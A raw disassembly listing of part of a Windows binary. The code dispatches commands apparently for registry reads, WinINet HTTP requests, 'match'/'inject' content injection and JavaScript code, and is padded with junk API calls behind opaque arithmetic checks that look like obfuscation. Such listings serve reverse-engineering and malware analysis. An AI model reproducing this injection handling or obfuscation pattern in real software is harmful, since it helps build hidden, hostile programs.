call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x268]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400533cb
mov rdx, qword [rsp + 0x5e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400533fb
mov rdx, qword [rsp + 0x5f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x3328], 0x10
jb 0x140053413
mov rcx, qword [rsp + 0x3310]
call fcn.1400bb0b4
mov qword [rsp + 0x3328], 0xf
mov qword [rsp + 0x3320], rdi
mov byte [rsp + 0x3310], dil
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x608], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053462
mov rdx, qword [rsp + 0x608]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558b2
call fcn.14002f7b8
mov qword [rsp + 0xd60], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0x1068], rax
cmp byte [rax + 8], 4
jne 0x14005360b
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xd70], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xfa0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd80], rdx
lea rcx, [rsp + 0x418]
call fcn.140002d94
nop
lea rdx, [0x140131658]
lea rcx, [rsp + 0x380]
call fcn.1400020f8
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x9a0], rax
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0x9a8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x9b8], rdx
lea rcx, [rsp + 0x3e0]
call fcn.140002d94
nop
lea r8, [rsp + 0x418]
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x3e0]
call fcn.14003b624
mov byte [rsp + 0x60], al
mov rcx, qword [rsp + 0x3e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x618], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400535a6
mov rdx, qword [rsp + 0x618]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x380]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400535d9
mov rdx, qword [rsp + 0x628]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x418]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x638], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005372f
mov rdx, qword [rsp + 0x638]
jmp 0x140053726
lea rdx, [0x140131658]
lea rcx, [rsp + 0x3a0]
call fcn.1400020f8
nop
lea rdx, [0x140131658]
lea rcx, [rsp + 0x3f0]
call fcn.1400020f8
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x9c8], rax
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0x9d8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x9e8], rdx
lea rcx, [rsp + 0x390]
call fcn.140002d94
nop
lea r8, [rsp + 0x3a0]
lea rdx, [rsp + 0x3f0]
lea rcx, [rsp + 0x390]
call fcn.14003b624
mov byte [rsp + 0x60], al
mov rcx, qword [rsp + 0x390]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x648], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400536ca
mov rdx, qword [rsp + 0x648]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x658], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400536fd
mov rdx, qword [rsp + 0x658]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x668], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005372f
mov rdx, qword [rsp + 0x668]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x140055763
mov al, byte [rsp + 0x60]
jmp 0x140052a95
lea rdx, str.getChildValues
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
je 0x1400548cd
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
je 0x1400548cd
lea rdx, str.requestGet
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x140053e5a
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
lea rcx, [0x140131658]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r13, rax
mov qword [rsp + 0x308], rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x9f8], rax
lea rdx, [0x140134ffc]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xa08], rax
cmp byte [rax + 8], r12b
jne 0x140053da8
test r13, r13
je 0x140053da8
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xa18], rax
lea rdx, [0x140134ffc]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xa28], rax
lea rdx, [rsp + 0x34e0]
mov rcx, rax
call fcn.14002f05c
mov qword [rsp + 0xa38], rax
cmp qword [rax + 0x18], 0x10
jb 0x14005383e
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.140002d94
nop
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x34e0]
call fcn.14000136c
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0xb8]
call fcn.140018a58
mov ebx, eax
mov dword [rsp + 0x2f4], eax
test eax, eax
jle 0x140053988
add ebx, 6
mov dword [rsp + 0x2f4], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0xb8]
call fcn.1400bdad4
mov qword [rsp + 0xa48], rax
test rax, rax
jne 0x1400538b7
mov eax, esi
jmp 0x1400538c2
sub rax, qword [rsp + 0xb8]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x678]
lea rcx, [rsp + 0xb8]
call fcn.14000d9e4
nop
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.1400021c4
nop
mov rcx, qword [rsp + 0x678]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x688], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053923
mov rdx, qword [rsp + 0x688]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rdx, str.js_code
lea rcx, [rsp + 0x300]
call fcn.140002d94
nop
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0xb8]
call fcn.14001adcc
nop
mov rcx, qword [rsp + 0x300]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x698], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053980
mov rdx, qword [rsp + 0x698]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r13, qword [rsp + 0x308]
xor edx, edx
lea rcx, [rsp + 0x458]
call fcn.14002ecd0
nop
mov ecx, dword [0x1401a3d80]
imul ecx, ecx
mov r12d, 0x38e38e39
mov eax, r12d
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
mov eax, dword [0x1401a5730]
mov edx, 0x8b60c299
cmp ecx, 0xc
cmove eax, edx
mov dword [0x1401a5730], eax
lea rdx, [0x140135064]
lea rcx, [rsp + 0xf48]
call fcn.14002ed48
nop
lea rdx, [0x140135038]
lea rcx, [rsp + 0x458]
call fcn.14002f7b8
mov rcx, rax
lea rdx, [rsp + 0xf48]
call fcn.14002efd4
nop
lea rcx, [rsp + 0xf48]
call fcn.14002ef28
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xa58], rax
lea rdx, [0x140134ffc]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xa68], rax
lea rdx, [rsp + 0x3540]
mov rcx, rax
call fcn.14002f05c
nop
mov rdx, rax
lea rcx, [rsp + 0xf68]
call fcn.14002ed8c
nop
lea rdx, [0x140134ffc]
lea rcx, [rsp + 0x458]
call fcn.14002f7b8
mov rcx, rax
lea rdx, [rsp + 0xf68]
call fcn.14002efd4
nop
lea rcx, [rsp + 0xf68]
call fcn.14002ef28
nop
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x3540]
call fcn.14000136c
mov r8d, dword [0x1401a3d80]
mov ecx, r8d
imul ecx, r8d
mov eax, r12d
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 3
jne 0x140053ae6
add r8d, r15d
mov dword [0x1401a3d80], r8d
lea rdx, [0x140135074]
lea rcx, [rsp + 0xf88]
call fcn.14002ed48
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x458]
call fcn.14002f7b8
mov rcx, rax
lea rdx, [rsp + 0xf88]
call fcn.14002f9a0
nop
lea rcx, [rsp + 0xf88]
call fcn.14002ef28
lea rdx, [0x140135094]
lea rcx, [rsp + 0xfa8]
call fcn.14002ed48
nop
lea rdx, str.acceptTypes
lea rcx, [rsp + 0x458]
call fcn.14002f7b8
mov rcx, rax
lea rdx, [rsp + 0xfa8]
call fcn.14002efd4
nop
lea rcx, [rsp + 0xfa8]
call fcn.14002ef28
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0xfc8]
call fcn.14002ed48
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x458]
call fcn.14002f7b8
mov rcx, rax
lea rdx, [rsp + 0xfc8]
call fcn.14002efd4
nop
lea rcx, [rsp + 0xfc8]
call fcn.14002ef28
mov ecx, dword [0x1401a3d80]
imul ecx, ecx
mov eax, r12d
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xc
jne 0x140053bf4
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov qword [rsp + 0x6a8], rdi
lea r9, [rsp + 0x458]
lea r8, [rsp + 0x6a8]
mov rdx, r13
lea rcx, [rsp + 0xfe8]
call fcn.140026a00
nop
mov eax, dword [0x1401a3d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 9
jne 0x140053c5b
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r14, r14
je 0x140053d65
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x3370], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x3370], rax
mov qword [rsp + 0x3388], rdi
mov qword [rsp + 0x3390], rdi
mov qword [rsp + 0x3390], 0xf
mov qword [rsp + 0x3388], rdi
mov byte [rsp + 0x3378], dil
mov byte [rsp + 0x3398], dil
lea r8, [rsp + 0xfe8]
lea rdx, [rsp + 0x3500]
lea rcx, [rsp + 0x3370]
call fcn.14003196c
mov qword [rsp + 0xa78], rax
cmp qword [rax + 0x18], 0x10
jb 0x140053cee
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x318]
call fcn.140002d94
nop
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x3500]
call fcn.14000136c
mov rcx, qword [rsp + 0x318]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x95c], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa88], rax
test rax, rax
jne 0x140053d3c
call fcn.1400023fc
mov qword [r14 + 8], rax
mov r12d, 8
mov word [r14], r12w
lea rcx, [rsp + 0x318]
call fcn.140002194
nop
lea rcx, [rsp + 0x3370]
call fcn.140009c10
call fcn.14004fd74
test al, al
jne 0x140053d7a
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1401a3d80], eax
lea rcx, [rsp + 0xfe8]
call fcn.14002ef28
nop
lea rcx, [rsp + 0x458]
call fcn.14002ef28
nop
lea rcx, [rsp + 0xb8]
call fcn.140002194
jmp 0x140055763
test r14, r14
je 0x140053dbc
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6b8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053dec
mov rdx, qword [rsp + 0x6b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x3310]
call fcn.14000136c
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053e33
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558b2
lea rdx, str.NVP_IsSupported
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x140053ed7
test r14, r14
je 0x140053e81
mov word [r14 + 8], si
lea r12d, [rax + 0xb]
mov word [r14], r12w
mov r8d, dword [0x1401a3d80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 6
jne 0x140055763
mov ecx, r15d
mov dword [rsp + 0x29c], ecx
cmp ecx, r8d
jge 0x14005200a
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
mov dword [rsp + 0x29c], ecx
jmp 0x140053ebb
lea rdx, [0x140137810]
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x1400543f6
mov r9d, dword [0x1401a3d80]
lea ecx, [r9 + 1]
imul ecx, r9d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0x13
jne 0x140053f8d
mov r8d, edi
mov dword [rsp + 0x250], edi
lea r12d, [rcx - 0xb]
cmp r8d, 0x100
jge 0x140053f8d
mov edx, r8d
mov dword [rsp + 0x2b8], edx
mov r10d, edi
mov dword [rsp + 0x190], edi
cmp r10d, r12d
jae 0x140053f76
mov ecx, edx
and ecx, r15d
sub ecx, r15d
not ecx
and ecx, r9d
mov eax, edx
sar eax, 1
mov edx, ecx
xor edx, eax
mov dword [rsp + 0x2b8], edx
add r10d, r15d
mov dword [rsp + 0x190], r10d
jmp 0x140053f48
add r9d, edx
mov dword [0x1401a3d80], r9d
add r8d, r15d
mov dword [rsp + 0x250], r8d
jmp 0x140053f2b
test r14, r14
je 0x140055763
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xa98], rax
lea rdx, str.match
mov rcx, rax
call fcn.14002f92c
mov qword [rsp + 0xaa8], rax
lea r12, [0x1401a4c28]
cmp rax, r12
je 0x1400543a8
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xab8], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14002f92c
mov qword [rsp + 0xac8], rax
cmp rax, r12
je 0x1400543a8
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xad8], rax
lea rbx, str.message
mov rdx, rbx
mov rcx, rax
call fcn.14002f92c
mov qword [rsp + 0xae8], rax
cmp rax, r12
je 0x1400543a8
lea r12, str.param
mov rdx, r12
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xaf8], rax
lea rdx, str.match
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xb08], rax
cmp byte [rax + 8], r15b
jne 0x1400543a8
mov rdx, r12
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xb18], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xb28], rax
cmp byte [rax + 8], r15b
jne 0x1400543a8
mov rdx, r12
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xb38], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xb48], rax
cmp byte [rax + 8], 4
jne 0x1400543a8
mov rdx, r12
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xb58], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xb68], rax
lea rdx, [rsp + 0x3330]
mov rcx, rax
call fcn.14002f05c
nop
mov qword [rsp + 0x178], rdi
lea rcx, [rsp + 0x3330]
cmp qword [rsp + 0x3348], 0x10
cmovae rcx, qword [rsp + 0x3330]
lea r8, [rsp + 0x178]
mov rdx, qword [rsp + 0x3340]
call fcn.14001d0cc
test al, al
jne 0x1400541b4
lea rcx, [rsp + 0x3330]
call fcn.14000133c
nop
lea rcx, [rsp + 0x58]
call fcn.140002194
nop
lea rcx, [rsp + 0x3310]
call fcn.14000133c
nop
lea rcx, [rsp + 0x88]
call fcn.140002194
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558ae
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], rdi
mov rdx, qword [rsp + 0x178]
lea rcx, [rsp + 0x160]
call fcn.14002491c
nop
mov qword [rsp + 0x328], rdi
lea rcx, [rsp + 0x3330]
cmp qword [rsp + 0x3348], 0x10
cmovae rcx, qword [rsp + 0x3330]
lea rax, [rsp + 0x328]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x178]
mov rbx, qword [rsp + 0x160]
mov r8, rbx
mov rdx, qword [rsp + 0x3340]
call fcn.14001d0fc
test al, al
jne 0x1400542ba
test rbx, rbx
je 0x14005425e
mov rcx, rbx
call fcn.1400bb0b4
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], rdi
lea rcx, [rsp + 0x3330]
call fcn.14000133c
nop
lea rcx, [rsp + 0x58]
call fcn.140002194
nop
lea rcx, [rsp + 0x3310]
call fcn.14000133c
nop
lea rcx, [rsp + 0x88]
call fcn.140002194
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558ae
mov rdx, qword [rsp + 0x328]
lea rcx, [rsp + 0x160]
call fcn.14002491c
mov rdx, r12
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xb78], rax
lea rdx, str.match
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xb88], rax
mov rcx, rax
call fcn.14002f2dc
mov ebx, eax
mov dword [rsp + 0x858], eax
mov rdx, r12
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xb98], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xba8], rax
mov rcx, rax
call fcn.14002f2dc
mov dword [rsp + 0x490], eax
lea r9, [rsp + 0x160]
mov r8d, eax
mov edx, ebx
mov rcx, qword [r13 + 0x40]
call fcn.14004b348
mov word [r14 + 8], si
mov r12d, 0xb
mov word [r14], r12w
mov rcx, qword [rsp + 0x160]
test rcx, rcx
je 0x140054396
call fcn.1400bb0b4
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], rdi
lea rcx, [rsp + 0x3330]
call fcn.14000133c
jmp 0x140055763
lea rcx, [rsp + 0x58]
call fcn.140002194
nop
lea rcx, [rsp + 0x3310]
call fcn.14000133c
nop
lea rcx, [rsp + 0x88]
call fcn.140002194
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558ae
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x1400547cf
test r14, r14
je 0x140055763
mov byte [rsp + 0x80], dil
lea rcx, [rsp + 0x280]
call fcn.1400020c0
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xbb8], rax
lea rdx, [0x140137878]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xbc8], rax
cmp byte [rax + 8], r12b
jne 0x1400547b3
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xbd8], rax
lea rdx, [0x140137878]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xbe8], rax
lea rdx, [rsp + 0x3350]
mov rcx, rax
call fcn.14002f05c
nop
mov eax, dword [0x1401a3d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
cmp ecx, 7
jne 0x1400544ef
mov rcx, r12
call fcn.1400bb888
mov rbx, rax
mov qword [rsp + 0xbf8], rax
call fcn.1400bba88
mov dword [rbx], eax
mov dword [0x1401a3d80], eax
mov rcx, rbx
call fcn.1400bb0b4
mov rax, qword [rsp + 0x3360]
mov qword [rsp + 0xc08], rax
lea r8, [rsp + 0x3350]
cmp qword [rsp + 0x3368], 0x10
cmovae r8, qword [rsp + 0x3350]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov r12d, 0xfde9
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov dword [rsp + 0x71c], ebx
test eax, eax
je 0x140054766
mov qword [rsp + 0x438], rdi
mov qword [rsp + 0x440], rdi
mov qword [rsp + 0x448], rdi
mov rdx, rbx
add rdx, rdx
lea rcx, [rsp + 0x438]
call fcn.14002491c
nop
mov ecx, dword [0x1401a3d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x30c30c31
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub r8d, edx
cmp r8d, 2
jne 0x1400545b5
lea rcx, [rsp + 0x3610]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov rax, qword [rsp + 0x3360]
mov qword [rsp + 0xc18], rax
lea r8, [rsp + 0x3350]
cmp qword [rsp + 0x3368], 0x10
cmovae r8, qword [rsp + 0x3350]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rsp + 0x438]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x14005464c
mov r8, qword [rsp + 0x440]
sub r8, rbx
mov qword [rsp + 0xc28], r8
mov rdx, rbx
lea rcx, [rsp + 0x6d8]
call fcn.14001d4c8
nop
mov rdx, rax
lea rcx, [rsp + 0x280]
call fcn.1400021c4
nop
lea rcx, [rsp + 0x6d8]
call fcn.140002194
mov byte [rsp + 0x80], r15b
mov r13d, dword [0x1401a3d80]
mov ecx, r13d
imul ecx, r13d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
mov r12d, 8
cmp ecx, 5
jne 0x14005473f
mov r9d, edi
mov dword [rsp + 0x1a0], edi
cmp r9d, r12d
jge 0x14005473f
mov r10d, edi
mov dword [rsp + 0x2e8], edi
cmp r10d, 0xe
jge 0x14005472f
mov r11d, edi
mov dword [rsp + 0x198], edi
cmp r11d, 0xa
jge 0x14005471f
lea eax, [r11 + 1]
mov dword [rsp + 0x98], eax
lea ecx, [r10 + 1]
mov eax, r13d
cdq
idiv ecx
mov r8d, edx
mov eax, r13d
sub eax, r9d
imul r8d, eax
mov eax, r13d
cdq
idiv dword [rsp + 0x98]
imul r8d, eax
movsxd rcx, r9d
imul rcx, rcx, 0xe
movsxd rax, r10d
add rcx, rax
lea rdx, [rcx + rcx*4]
movsxd rax, r11d
lea rcx, [rsp + 0x4190]
add rcx, rax
mov byte [rcx + rdx*2], r8b
mov r11d, dword [rsp + 0x98]
mov dword [rsp + 0x198], r11d
jmp 0x1400546b3
add r10d, r15d
mov dword [rsp + 0x2e8], r10d
jmp 0x14005469f
add r9d, r15d
mov dword [rsp + 0x1a0], r9d
jmp 0x14005468c
test rbx, rbx
je 0x14005476c
mov rcx, rbx
call fcn.1400bb0b4
mov qword [rsp + 0x438], rdi
mov qword [rsp + 0x440], rdi
mov qword [rsp + 0x448], rdi
jmp 0x14005476c
mov r12d, 8
lea rcx, [rsp + 0x3350]
call fcn.14000133c
cmp byte [rsp + 0x80], dil
je 0x1400547b3
mov rcx, qword [rsp + 0x280]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4a0], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xc38], rax
test rax, rax
jne 0x1400547ad
call fcn.1400023fc
mov qword [r14 + 8], rax
jmp 0x1400547be
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
lea rcx, [rsp + 0x280]
jmp 0x140053d9e
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x140054806
mov rcx, qword [r13 + 0x40]
add rcx, 0x1f8
call fcn.1400598a8
test r14, r14
je 0x140055763
mov word [r14], r15w
jmp 0x140055763
lea rdx, str.debugMessage
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x1400548ba
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xc48], rax
lea rbx, str.message
mov rdx, rbx
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xc58], rax
cmp byte [rax + 8], r12b
jne 0x1400548ba
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xc68], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xc78], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc88], rdx
lea rcx, [rsp + 0x6e8]
call fcn.140002d94
nop
test r14, r14
je 0x1400548ad
mov word [r14 + 8], si
mov r12d, 0xb
mov word [r14], r12w
lea rcx, [rsp + 0x6e8]
jmp 0x140053d9e
test r14, r14
je 0x140055763
mov word [r14 + 8], di
jmp 0x140052a9f
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xc98], rax
lea r12, str.keyPath
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
